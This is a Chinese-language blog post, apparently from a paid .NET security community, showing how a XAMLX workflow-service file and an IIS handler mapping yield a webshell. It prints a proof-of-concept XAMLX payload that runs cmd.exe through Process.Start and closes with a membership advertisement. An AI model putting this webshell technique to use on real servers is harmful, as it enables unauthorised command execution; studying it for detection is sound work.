XAMLX 文件是一种特殊的文件类型,主要用于定义 Windows Workflow Services工作流服务中的工作流程,下面是一个简单的xamlx文件结构
<WorkflowService ConfigurationName="Service1" Name="Service1"
xmlns="http://schemas.microsoft.com/netfx/2009/xaml/servicemodel" >
<TransactedReceiveScope>
<SendReply.Request>
<Receive OperationName="SubmitPurchasingProposal" Action="testme" />
</SendReply.Request>
</TransactedReceiveScope>
</WorkflowService>
通过<WorkflowService>定义文件的根元素,其中包含了一些命名空间的声明和配置信息。<SendReply.Request>和<Receive>用于工作流服务中的双向操作,使用请求和应答的模式,其中Action表示接受来自HTTP请求头SOAPAction定义的方法,这里是testme
通过web.config添加配置HTTP请求.xamlx时对应的执行模块
<add name="xamlx-Classic" path="*.xamlx" verb="*" modules="IsapiModule" scriptProcessor="%windir%\Microsoft.NET\Framework64\v4.0.30319\aspnet_isapi.dll" requireAccess="Script" preCondition="classicMode,runtimeVersionv4.0,bitness64" />
在IIS里打开 http://localhost:56601/upload.xamlx 显示如下图所示,表示运行环境配置成功
创建 XAMLX 文件来启动本地计算器,该文件使用XAML格式,内部使用<SendMessageContent>标签允许执行.NET代码。
<p:Sequence DisplayName="Sequential Service">
<TransactedReceiveScope Request="{x:Reference __r0}">
<p1:Sequence >
<SendReply DisplayName="SendResponse" >
<SendReply.Request>
<Receive x:Name="__r0" CanCreateInstance="True" OperationName="SubmitPurchasingProposal" Action="testme" />
</SendReply.Request>
<SendMessageContent>
<p1:InArgument x:TypeArguments="x:String">[System.Diagnostics.Process.Start("cmd.exe", "/c calc").toString()]
</p1:InArgument>
</SendMessageContent>
</SendReply>
</p1:Sequence>
</TransactedReceiveScope>
</p:Sequence>
工具和xaml webshell已打包,感兴趣的师傅可下载自行研究测试。
为了更好地应对基于.NET技术栈的风险识别和未知威胁,dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术,定位于高质量安全攻防星球社区,也得到了许多师傅们的支持和信任,通过星球深度连接入圈的师傅们,一起推动.NET安全高质量的向前发展。经过运营团队成员商议一致同意给到师傅们最大优惠力度,只需129元就可以加入我们。
星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等,后续还会倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。